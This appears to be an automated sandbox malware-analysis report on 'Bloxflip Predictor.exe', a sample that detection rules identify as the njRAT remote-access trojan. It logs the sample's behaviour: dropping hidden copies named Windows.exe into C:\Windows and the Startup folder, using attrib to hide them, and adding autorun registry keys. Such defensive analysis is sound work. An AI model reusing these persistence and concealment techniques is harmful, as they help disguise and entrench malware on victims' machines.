Source: 0000000C.00000002.2880439130.00000000034A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 00000001.00000000.2042331899.0000000000512000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Njrat_30f3c220 reference_sample = 741a0f3954499c11f9eddc8df7c31e7c59ca41f1a7005646735b8b1d53438c1b, os = windows, severity = x86, creation_date = 2021-06-13, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Njrat, fingerprint = d15e131bca6beddcaecb20fffaff1784ad8a33a25e7ce90f7450d1a362908cc4, id = 30f3c220-b8dc-45a1-bcf0-027c2f76fa63, last_modified = 2021-10-04
Source: 00000001.00000000.2042331899.0000000000512000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Njrat hash1 = d5f63213ce11798879520b0e9b0d1b68d55f7727758ec8c120e370699a41379d, author = JPCERT/CC Incident Response Group, description = detect njRAT in memory, rule_usage = memory scan
Source: 00000001.00000000.2042331899.0000000000512000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 00000001.00000002.2145141321.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Njrat_30f3c220 reference_sample = 741a0f3954499c11f9eddc8df7c31e7c59ca41f1a7005646735b8b1d53438c1b, os = windows, severity = x86, creation_date = 2021-06-13, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Njrat, fingerprint = d15e131bca6beddcaecb20fffaff1784ad8a33a25e7ce90f7450d1a362908cc4, id = 30f3c220-b8dc-45a1-bcf0-027c2f76fa63, last_modified = 2021-10-04
Source: 00000001.00000002.2145141321.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Njrat hash1 = d5f63213ce11798879520b0e9b0d1b68d55f7727758ec8c120e370699a41379d, author = JPCERT/CC Incident Response Group, description = detect njRAT in memory, rule_usage = memory scan
Source: 00000001.00000002.2145141321.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 0000000A.00000002.2394132880.0000000003401000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: Process Memory Space: Bloxflip Predictor.exe PID: 5504, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: Process Memory Space: Bloxflip Predictor.exe PID: 428, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: Process Memory Space: Bloxflip Predictor.exe PID: 7056, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: Process Memory Space: Windows.exe PID: 6364, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, type: DROPPED	Matched rule: Windows_Trojan_Njrat_30f3c220 reference_sample = 741a0f3954499c11f9eddc8df7c31e7c59ca41f1a7005646735b8b1d53438c1b, os = windows, severity = x86, creation_date = 2021-06-13, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Njrat, fingerprint = d15e131bca6beddcaecb20fffaff1784ad8a33a25e7ce90f7450d1a362908cc4, id = 30f3c220-b8dc-45a1-bcf0-027c2f76fa63, last_modified = 2021-10-04
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, type: DROPPED	Matched rule: CN_disclosed_20180208_c date = 2018-02-08, hash1 = 17475d25d40c877284e73890a9dd55fccedc6a5a071c351a8c342c8ef7f9cea7, author = Florian Roth, description = Detects malware from disclosed CN malware set, reference = https://twitter.com/cyberintproject/status/961714165550342146, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, type: DROPPED	Matched rule: Njrat hash1 = d5f63213ce11798879520b0e9b0d1b68d55f7727758ec8c120e370699a41379d, author = JPCERT/CC Incident Response Group, description = detect njRAT in memory, rule_usage = memory scan
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_attrib author = ditekSHen, description = Detects executables using attrib with suspicious attributes attributes
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, type: DROPPED	Matched rule: MALWARE_Win_NjRAT author = ditekSHen, description = Detects NjRAT / Bladabindi
Source: C:\Windows\Bloxflip Predictor.exe, type: DROPPED	Matched rule: Windows_Trojan_Njrat_30f3c220 reference_sample = 741a0f3954499c11f9eddc8df7c31e7c59ca41f1a7005646735b8b1d53438c1b, os = windows, severity = x86, creation_date = 2021-06-13, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Njrat, fingerprint = d15e131bca6beddcaecb20fffaff1784ad8a33a25e7ce90f7450d1a362908cc4, id = 30f3c220-b8dc-45a1-bcf0-027c2f76fa63, last_modified = 2021-10-04
Source: C:\Windows\Bloxflip Predictor.exe, type: DROPPED	Matched rule: CN_disclosed_20180208_c date = 2018-02-08, hash1 = 17475d25d40c877284e73890a9dd55fccedc6a5a071c351a8c342c8ef7f9cea7, author = Florian Roth, description = Detects malware from disclosed CN malware set, reference = https://twitter.com/cyberintproject/status/961714165550342146, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Windows\Bloxflip Predictor.exe, type: DROPPED	Matched rule: Njrat hash1 = d5f63213ce11798879520b0e9b0d1b68d55f7727758ec8c120e370699a41379d, author = JPCERT/CC Incident Response Group, description = detect njRAT in memory, rule_usage = memory scan
Source: C:\Windows\Bloxflip Predictor.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: C:\Windows\Bloxflip Predictor.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_attrib author = ditekSHen, description = Detects executables using attrib with suspicious attributes attributes
Source: C:\Windows\Bloxflip Predictor.exe, type: DROPPED	Matched rule: MALWARE_Win_NjRAT author = ditekSHen, description = Detects NjRAT / Bladabindi

Source: classification engine

Classification label: mal100.phis.troj.adwa.evad.winEXE@14/6@2/2

Source: C:\Windows\Bloxflip Predictor.exe	Code function: 2_2_05EE2B2E AdjustTokenPrivileges,		2_2_05EE2B2E
Source: C:\Windows\Bloxflip Predictor.exe	Code function: 2_2_05EE2AF7 AdjustTokenPrivileges,		2_2_05EE2AF7

Source: C:\Users\user\Desktop\Bloxflip Predictor.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.lnk

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2608:120:WilError_03
Source: C:\Windows\Bloxflip Predictor.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4796:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6572:120:WilError_03
Source: C:\Windows\Bloxflip Predictor.exe	Mutant created: \Sessions\1\BaseNamedObjects\Windows

Source: Bloxflip Predictor.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Bloxflip Predictor.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\Bloxflip Predictor.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\Bloxflip Predictor.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: Bloxflip Predictor.exe

ReversingLabs: Detection: 84%

Source: C:\Users\user\Desktop\Bloxflip Predictor.exe

File read: C:\Users\user\Desktop\Bloxflip Predictor.exe

Source: unknown	Process created: C:\Users\user\Desktop\Bloxflip Predictor.exe "C:\Users\user\Desktop\Bloxflip Predictor.exe"
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process created: C:\Windows\Bloxflip Predictor.exe "C:\Windows\Bloxflip Predictor.exe"
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process created: C:\Windows\SysWOW64\attrib.exe attrib +h +r +s "C:\Windows\Bloxflip Predictor.exe"
Source: C:\Windows\SysWOW64\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Bloxflip Predictor.exe	Process created: C:\Windows\SysWOW64\attrib.exe attrib +h +r +s "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe"
Source: C:\Windows\Bloxflip Predictor.exe	Process created: C:\Windows\SysWOW64\attrib.exe attrib +h +r +s "C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Windows.exe"
Source: C:\Windows\SysWOW64\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\Bloxflip Predictor.exe "C:\Windows\Bloxflip Predictor.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe"
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process created: C:\Windows\Bloxflip Predictor.exe "C:\Windows\Bloxflip Predictor.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process created: C:\Windows\SysWOW64\attrib.exe attrib +h +r +s "C:\Windows\Bloxflip Predictor.exe"	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process created: C:\Windows\SysWOW64\attrib.exe attrib +h +r +s "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe"	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process created: C:\Windows\SysWOW64\attrib.exe attrib +h +r +s "C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Windows.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: security.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Section loaded: propsys.dll	Jump to behavior

Source: C:\Users\user\Desktop\Bloxflip Predictor.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InProcServer32

Source: C:\Windows\Bloxflip Predictor.exe

File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll

Source: Bloxflip Predictor.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: C:\Users\user\Desktop\Bloxflip Predictor.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

.NET source code contains potential unpacker

Source: Bloxflip Predictor.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Source: Bloxflip Predictor.exe, L.cs	.Net Code: Plugin System.Reflection.Assembly.Load(byte[])
Source: Bloxflip Predictor.exe.1.dr, L.cs	.Net Code: Plugin System.Reflection.Assembly.Load(byte[])
Source: 1.2.Bloxflip Predictor.exe.2b988c4.0.raw.unpack, L.cs	.Net Code: Plugin System.Reflection.Assembly.Load(byte[])
Source: Windows.exe.2.dr, L.cs	.Net Code: Plugin System.Reflection.Assembly.Load(byte[])

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Users\user\Desktop\Bloxflip Predictor.exe

Executable created and started: C:\Windows\Bloxflip Predictor.exe

Uses cmd line tools excessively to alter registry or file data

Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process created: attrib.exe
Source: C:\Windows\Bloxflip Predictor.exe	Process created: attrib.exe
Source: C:\Windows\Bloxflip Predictor.exe	Process created: attrib.exe
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process created: attrib.exe	Jump to behavior

Source: C:\Windows\Bloxflip Predictor.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe			Jump to dropped file
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	File created: C:\Windows\Bloxflip Predictor.exe			Jump to dropped file

Source: C:\Users\user\Desktop\Bloxflip Predictor.exe

File created: C:\Windows\Bloxflip Predictor.exe

Jump to dropped file

Boot Survival

Creates an autostart registry key pointing to binary in C:\Windows

Source: C:\Users\user\Desktop\Bloxflip Predictor.exe

Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Windows2

Creates multiple autostart registry keys

Source: C:\Windows\Bloxflip Predictor.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Windows			Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Windows2			Jump to behavior

Drops PE files to the startup folder

Source: C:\Windows\Bloxflip Predictor.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe

Jump to dropped file

Source: C:\Users\user\Desktop\Bloxflip Predictor.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.lnk

Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.lnk			Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe			Jump to behavior

Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Windows2	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Windows2	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Windows2	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Windows2	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Windows	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Windows	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Windows	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Windows	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Windows2	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Windows2	Jump to behavior

Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
